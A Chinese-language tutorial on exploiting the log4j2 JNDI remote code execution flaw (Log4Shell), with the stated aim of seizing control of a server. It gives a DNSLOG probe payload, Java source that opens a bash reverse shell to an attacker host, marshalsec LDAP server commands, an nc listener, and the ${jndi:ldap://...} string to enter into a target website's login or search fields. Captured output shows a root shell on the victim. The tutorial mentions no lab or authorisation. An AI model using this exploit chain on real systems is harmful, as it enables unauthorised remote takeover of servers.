log4j2远程代码执行漏洞复现

摘要:2021年12月,log4j2被爆出存在重大安全漏洞,本文将介绍如何复现漏洞,并获取服务器的控制权

漏洞介绍

略,参考百度

漏洞复现(DNSLOG)

  1. 首先去一些免费的dnslog网站申请一个域名. 比如我用的是 ceye.io ,注册好账号后你就会得到一个二级域名,例如8o5ug3.ceye.io

  2. 去被攻击的网站上找到需要用户输入的地方,比如登录页面的用户名密码框,或是关键字检索输入框;在输入框中输入以下内容并提交。

    1
    ${jndi:ldap://8o5ug3.ceye.io/exp}

    注:也可使用子域名,如aaa.8o5ug3.ceye.io,来区分不同的攻击目标

  3. 回到 ceye.io 网站,进入Records - DNS Query菜单,如果能看到刚刚新增了一条记录,说明目标网站存在此漏洞,即复现成功。

漏洞复现(反弹Shell)

  1. 首先要找一台具有公网ip的服务器,作为你的攻击工具,本文中不妨记为hackdemo.com,需要开放端口12012、12013、12014。

  2. 编写恶意java代码,代码如下(注意代码中的域名换成你实际的服务器地址)

    TouchFile.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    import java.lang.Runtime;
    import java.lang.Process;

    public class TouchFile {
    static {
    try {
    Runtime r = Runtime.getRuntime();
    Process p = r.exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/hackdemo.com/12013 0>&1"});
    p.waitFor();
    } catch (Exception e) {
    }
    }
    }
  3. 编译java文件,得到TouchFile.class

    1
    javac TouchFile.java
  4. 在服务器A上部署一个web服务(端口用12012),无所谓nginx、tomcat、python、nodejs都行,然后把TouchFile.class文件放到根目录下,保证能通过此链接将class文件下载下来。

    1
    http://hackdemo.com:12012/TouchFile.class
  5. 到Github上找到这个项目 marshalsec ,clone下来,mvn clean package -DskipTests 进行打包,将打包好的jar包(marshalsec-0.0.3-SNAPSHOT-all.jar)上传到服务器hackdemo.com

  6. 启动marshalsec服务(窗口1)

    1
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://hackdemo.com:12012/#TouchFile" 12014
  7. 再开一个shell窗口(窗口2),执行以下命令,启动一个监听

    1
    nc -lvvp 12013
  8. 去被攻击的网站上找到需要用户输入的地方,比如登录页面的用户名密码框,或是关键字检索输入框;在输入框中输入以下内容并提交。

    1
    ${jndi:ldap://hackdemo.com:12014/TouchFile}
  9. 观察窗口1有连接日志

    1
    2
    3
    4
    [root@VM-0-10-centos ~]# cd /opt/marshalsec/
    [root@VM-0-10-centos marshalsec]# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://hackdemo.com:12012/#TouchFile" 12014
    Listening on 0.0.0.0:12014
    Send LDAP reference result for TouchFile redirecting to http://hackdemo.com:12012/TouchFile.class
  10. 观察窗口2的监听上发生变化,可输入命令直接操作被攻击网站的服务器,到此完成漏洞复现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[root@VM-0-10-centos ~]# nc -lvvp 12013
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12013
Ncat: Listening on 0.0.0.0:12013
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:45856.
[root@template test-log4j]# ls
ls
test1-0.0.1-SNAPSHOT.jar
[root@template test-log4j]# whoami
whoami
root
[root@template test-log4j]# ls -lh /
ls -lh /
总用量 20K
lrwxrwxrwx. 1 root root 7 5月 29 2020 bin -> usr/bin
dr-xr-xr-x. 5 root root 4.0K 5月 29 2020 boot
drwxr-xr-x. 19 root root 3.1K 9月 8 17:00 dev
drwxr-xr-x. 77 root root 8.0K 9月 8 17:01 etc
drwxr-xr-x. 2 root root 6 4月 11 2018 home
lrwxrwxrwx. 1 root root 7 5月 29 2020 lib -> usr/lib
lrwxrwxrwx. 1 root root 9 5月 29 2020 lib64 -> usr/lib64
drwxr-xr-x. 2 root root 6 4月 11 2018 media
drwxr-xr-x. 2 root root 6 4月 11 2018 mnt
drwxr-xr-x. 11 root root 221 12月 12 13:25 opt
dr-xr-xr-x. 229 root root 0 9月 8 16:59 proc
dr-xr-x---. 6 root root 219 12月 12 01:15 root
drwxr-xr-x. 26 root root 800 12月 16 10:59 run
lrwxrwxrwx. 1 root root 8 5月 29 2020 sbin -> usr/sbin
drwxr-xr-x. 2 root root 6 4月 11 2018 srv
dr-xr-xr-x. 13 root root 0 9月 8 17:00 sys
drwxrwxrwt. 13 root root 4.0K 12月 18 22:30 tmp
drwxr-xr-x. 13 root root 155 5月 29 2020 usr
drwxr-xr-x. 19 root root 267 5月 29 2020 var
[root@template test-log4j]# exit
exit
exit
NCAT DEBUG: Closing fd 5.
[root@VM-0-10-centos ~]#